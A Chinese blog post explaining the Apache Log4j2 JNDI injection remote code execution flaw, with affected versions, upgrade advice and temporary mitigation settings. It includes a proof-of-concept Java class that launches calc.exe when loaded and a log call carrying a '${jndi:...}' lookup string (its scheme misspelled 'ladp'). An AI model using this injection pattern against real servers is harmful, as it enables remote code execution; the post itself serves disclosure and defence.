如何看懂Apache Log4j 远程代码执行漏洞原理?

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
Log4j2介绍
Apache Log4j2是一款优秀的Java日志框架。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j2漏洞描述
漏洞名称:Apache Log4j2 远程代码执行漏洞。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级
严重。
漏洞危害
漏洞利用无需特殊配置,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
利用门槛极低。
影响版本
Apache Log4j 2.x <= 2.14.1
原理分析
本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
具体攻击步骤如下图:

恶意可执行代码如下:
import java.lang.Runtime;
import java.lang.Process;
public class Robots {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
模拟服务端使用log4j2记录日志代码:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static Logger logger = LogManager.getLogger(Main.class);
public static void main(String[] args) {
logger.error("${jndi:ladp://127.0.0.1:9000/log4j2}");
}
}
解决方案
目前,Apache Log4j 已经发布了新版本来修复该漏洞,受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
临时修复建议
1.JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
2.修改log4j配置 log4j2.formatMsgNoLookups=True
3.系统环境变量设置 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
安全建议
据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是log4j-core.jar这个包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。
我是Seven,一个不懈努力的程序猿,希望本文能对你有所裨益。